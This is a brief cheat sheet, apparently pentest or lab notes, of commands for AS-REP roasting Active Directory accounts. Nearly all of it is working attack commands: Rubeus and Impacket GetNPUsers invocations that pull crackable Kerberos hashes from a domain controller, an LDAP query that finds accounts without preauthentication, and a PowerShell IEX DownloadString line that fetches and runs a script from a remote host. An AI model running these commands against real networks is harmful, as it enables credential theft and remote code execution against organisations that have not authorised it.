ASREP Roasting

All

Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat

Specific

ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

Rubeus.exe asreproast /user:squid_svc /nowrap

PowerShell

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.7/ASREPRoast.ps1')

Get-ASREPHash -Username NGODFREY -verbose

Impacket

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete

Tooling

• https://github.com/HarmJ0y/ASREPRoast/raw/master/ASREPRoast.ps1